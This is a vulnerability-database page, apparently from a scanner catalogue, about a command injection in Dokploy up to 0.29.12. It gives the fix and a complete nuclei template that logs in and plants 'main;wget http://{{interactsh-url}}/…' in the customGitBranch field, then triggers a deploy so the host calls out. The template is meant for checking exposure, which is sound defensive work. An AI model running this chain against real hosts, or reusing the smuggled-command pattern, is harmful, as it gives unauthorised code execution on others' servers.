HexBrain

Browse / CVEs / CVE-2026-72867

CVE-2026-72867· dokploy / dokploy· CWE-78

Dokploy <= 0.29.12 - Authenticated RCE via Command Injection

criticalseverity
9.9CVSS score
3.4%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

Dokploy <= 0.29.12 is vulnerable to authenticated OS command injection through the customGitBranch field of a compose service. The value is concatenated unsanitized into git clone --branch <customGitBranch> ... and executed via /bin/sh during deploy (packages/server/src/utils/providers/git.ts -> child_process.exec). An authenticated user can inject shell metacharacters to achieve remote code execution on the Dokploy host.

Impact

Low-privileged authenticated users can execute arbitrary commands on the host, potentially leading to full system compromise.

Fix

Upgrade to version 0.29.13 or later.

How to confirm it

Send: POST /api/auth/sign-in/email
Positive when: status_code == 200
Send: POST /api/trpc/project.create?batch=1
Positive when: contains(body, "projectId") and status_code == 200
Send: POST /api/trpc/compose.create?batch=1
Positive when: contains(body, "composeId") and status_code == 200
Send: POST /api/trpc/compose.update?batch=1
Positive when: contains(body, "customGitBranch") and status_code == 200
Send: POST /api/trpc/compose.deploy?batch=1
Positive when: contains_any(interactsh_protocol, "http", "dns")

Run it with nuclei: nuclei -id CVE-2026-72867 -u <target>

The full check
id: CVE-2026-72867

info:
  name: Dokploy <= 0.29.12 - Authenticated RCE via Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Dokploy <= 0.29.12 is vulnerable to authenticated OS command injection through the customGitBranch field of a compose service. The value is concatenated unsanitized into git clone --branch <customGitBranch> ... and executed via /bin/sh during deploy (packages/server/src/utils/providers/git.ts -> child_process.exec). An authenticated user can inject shell metacharacters to achieve remote code execution on the Dokploy host.
  impact: |
    Low-privileged authenticated users can execute arbitrary commands on the host, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 0.29.13 or later.
  reference:
    - https://lulztigre.pw/posts/dokploy-cve-2026-72867-working-poc.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-72867
    - https://github.com/dokploy/dokploy
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-72867
    epss-score: 0.034
    epss-percentile: 0.88948
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 5
    vendor: dokploy
    product: dokploy
    shodan-query: html:"Dokploy"
  tags: cve,cve2026,dokploy,rce,authenticated,oast,intrusive,oob

variables:
  rnd: "{{rand_base(8)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        POST /api/auth/sign-in/email HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{email}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: session_cookie
        part: header
        group: 1
        regex:
          - "(?i)Set-Cookie:\\s*(better-auth[^=]*=[^;\\s]+)"
        internal: true

  - raw:
      - |
        POST /api/trpc/project.create?batch=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: {{session_cookie}}

        {"0":{"json":{"name":"p{{rnd}}","description":""}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "projectId")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: json
        name: environment_id
        internal: true
        part: body
        json:
          - '.[0].result.data.json.environment.environmentId'

  - raw:
      - |
        POST /api/trpc/compose.create?batch=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: {{session_cookie}}

        {"0":{"json":{"name":"c{{rnd}}","environmentId":"{{environment_id}}"}}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "composeId")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: json
        name: compose_id
        internal: true
        part: body
        json:
          - '.[0].result.data.json.composeId'

  - raw:
      - |
        POST /api/trpc/compose.update?batch=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: {{session_cookie}}

        {"0":{"json":{"composeId":"{{compose_id}}","sourceType":"git","customGitUrl":"https://github.com/dokploy/dokploy.git","customGitBranch":"main;wget http://{{interactsh-url}}/{{rnd}};echo "}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "customGitBranch")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/trpc/compose.deploy?batch=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: {{session_cookie}}

        {"0":{"json":{"composeId":"{{compose_id}}"}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "http", "dns")'

References

Use this check only on systems you are authorised to test. Where the data comes from